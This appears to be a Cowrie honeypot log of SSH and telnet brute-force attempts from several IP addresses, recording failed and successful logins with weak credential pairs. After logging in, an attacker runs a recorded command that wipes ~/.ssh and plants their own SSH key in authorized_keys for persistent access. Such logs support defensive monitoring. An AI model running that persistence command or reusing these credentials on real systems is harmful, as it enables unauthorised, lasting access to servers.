{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:28.068830Z","src_ip":"14.248.83.33","session":"13aa897de0ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test123","message":"login attempt [ftpuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:29.082080Z","src_ip":"14.248.83.33","session":"13aa897de0ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:30.331059Z","src_ip":"14.248.83.33","session":"13aa897de0ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":56654,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fce7e8bf6d","protocol":"telnet","message":"New connection: 217.182.190.44:56654 (10.17.0.5:23) [session: 32fce7e8bf6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:38.354861Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48994,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c468334ea2e","protocol":"telnet","message":"New connection: 174.138.46.234:48994 (159.203.135.109:23) [session: 2c468334ea2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:55.802095Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49056,"dst_ip":"159.203.135.109","dst_port":23,"session":"e749b0230461","protocol":"telnet","message":"New connection: 174.138.46.234:49056 (159.203.135.109:23) [session: e749b0230461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:56.024908Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49048,"dst_ip":"159.203.135.109","dst_port":23,"session":"99dde3827078","protocol":"telnet","message":"New connection: 174.138.46.234:49048 (159.203.135.109:23) [session: 99dde3827078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:57.013271Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49360,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fae14059871","protocol":"telnet","message":"New connection: 174.138.46.234:49360 (159.203.135.109:23) [session: 8fae14059871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:37:57.023201Z"}
{"eventid":"cowrie.session.closed","duration":4.940939903259277,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:38:01.954082Z","src_ip":"174.138.46.234","session":"99dde3827078","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.824787139892578,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:38:03.626733Z","src_ip":"174.138.46.234","session":"2c468334ea2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.812676668167114,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:38:13.167424Z","src_ip":"217.182.190.44","session":"32fce7e8bf6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.35988116264343,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:38:51.382977Z","src_ip":"174.138.46.234","session":"8fae14059871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.46061825752258,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:38:53.485078Z","src_ip":"174.138.46.234","session":"e749b0230461","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d00246958773","protocol":"telnet","message":"New connection: 174.138.46.234:39152 (159.203.135.109:23) [session: d00246958773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:01.026245Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39270,"dst_ip":"159.203.135.109","dst_port":23,"session":"f21722878132","protocol":"telnet","message":"New connection: 174.138.46.234:39270 (159.203.135.109:23) [session: f21722878132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:01.455411Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39282,"dst_ip":"159.203.135.109","dst_port":23,"session":"1dd581a23b20","protocol":"telnet","message":"New connection: 174.138.46.234:39282 (159.203.135.109:23) [session: 1dd581a23b20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:01.481963Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39462,"dst_ip":"159.203.135.109","dst_port":23,"session":"211d18c8a3dc","protocol":"telnet","message":"New connection: 174.138.46.234:39462 (159.203.135.109:23) [session: 211d18c8a3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:02.122052Z"}
{"eventid":"cowrie.session.closed","duration":3.917860746383667,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:05.373140Z","src_ip":"174.138.46.234","session":"f21722878132","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40858,"dst_ip":"159.203.135.109","dst_port":23,"session":"8df667deb4ef","protocol":"telnet","message":"New connection: 174.138.46.234:40858 (159.203.135.109:23) [session: 8df667deb4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:06.784935Z"}
{"eventid":"cowrie.session.closed","duration":5.984527111053467,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:07.010624Z","src_ip":"174.138.46.234","session":"d00246958773","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.0166285037994385,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:07.498473Z","src_ip":"174.138.46.234","session":"1dd581a23b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.890676021575928,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:08.012718Z","src_ip":"174.138.46.234","session":"211d18c8a3dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.921064376831055,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:12.705646Z","src_ip":"174.138.46.234","session":"8df667deb4ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":53042,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4cf9c83e4e7","protocol":"ssh","message":"New connection: 14.248.83.33:53042 (159.203.135.109:22) [session: f4cf9c83e4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:24.306880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:24.311312Z","src_ip":"14.248.83.33","session":"f4cf9c83e4e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:24.549660Z","src_ip":"14.248.83.33","session":"f4cf9c83e4e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"serverpilot","password":"serverpilot","message":"login attempt [serverpilot/serverpilot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:25.531407Z","src_ip":"14.248.83.33","session":"f4cf9c83e4e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:39:26.772486Z","src_ip":"14.248.83.33","session":"f4cf9c83e4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.223.105.148","src_port":11623,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8debbf07a15","protocol":"telnet","message":"New connection: 163.223.105.148:11623 (10.17.0.5:23) [session: b8debbf07a15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:06.220226Z"}
{"eventid":"cowrie.session.closed","duration":13.267136812210083,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:19.487186Z","src_ip":"163.223.105.148","session":"b8debbf07a15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":46102,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a616cc307d4","protocol":"ssh","message":"New connection: 14.248.83.33:46102 (159.203.135.109:22) [session: 1a616cc307d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:24.863797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:24.869970Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:25.108039Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steamsteam","message":"login attempt [steam/steamsteam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:26.094437Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:26.620019Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:26.623673Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:26.627519Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:26.868306Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:27.381805Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:27.385648Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:27.628811Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:27.632762Z","src_ip":"14.248.83.33","session":"1a616cc307d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":46116,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdfb07e49d93","protocol":"ssh","message":"New connection: 14.248.83.33:46116 (159.203.135.109:22) [session: cdfb07e49d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:27.865397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:27.870253Z","src_ip":"14.248.83.33","session":"cdfb07e49d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:28.106724Z","src_ip":"14.248.83.33","session":"cdfb07e49d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:29.081770Z","src_ip":"14.248.83.33","session":"cdfb07e49d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:30.328449Z","src_ip":"14.248.83.33","session":"cdfb07e49d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":46130,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b43b8ad522a","protocol":"ssh","message":"New connection: 14.248.83.33:46130 (159.203.135.109:22) [session: 7b43b8ad522a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:30.562088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:30.566988Z","src_ip":"14.248.83.33","session":"7b43b8ad522a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:30.807181Z","src_ip":"14.248.83.33","session":"7b43b8ad522a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:40:31.784255Z","src_ip":"14.248.83.33","session":"7b43b8ad522a","protocol":"ssh"}
